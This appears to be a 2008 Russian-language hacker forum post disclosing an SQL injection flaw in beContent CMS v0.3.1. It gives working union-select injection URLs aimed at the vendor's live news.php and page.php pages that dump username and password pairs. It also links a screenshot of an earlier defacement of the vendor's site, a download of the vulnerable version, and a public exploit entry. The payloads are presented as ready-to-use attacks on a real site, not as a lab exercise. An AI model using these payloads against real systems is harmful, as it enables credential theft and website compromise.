Показать сообщение отдельно

CMS beContent v0.3.1 SQLINJ
  #1  
Старый 25.06.2008, 15:08
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


По умолчанию CMS beContent v0.3.1 SQLINJ

www.becontent.org
уязвимость(бонально):
http://www.becontent.org/news.php?id=-3+union+select+1,concat_ws(0x3a,username,password) ,3,4+from+users
на данный момент там стоит последняя версия а месяца 2 назад офф сайт был под дефейсом, вот даже скринил:
http://sqlinj.com/owned/becontent.gif

скачать данную версию:
http://becontent.googlecode.com/files/beContent%20v031.zip

мдя...последняя версия так само уязвима:
http://www.becontent.org/page.php?id=-5+union+select+1,2,concat_ws(0x3a,username,passwor d)+from+users/*
Ктото прикорманить бажку решил)) :
http://www.milw0rm.com/exploits/5170
Greatz : Barakuda (GraBBerZ team)

Последний раз редактировалось b3; 25.02.2009 в 16:11..
 
Ответить с цитированием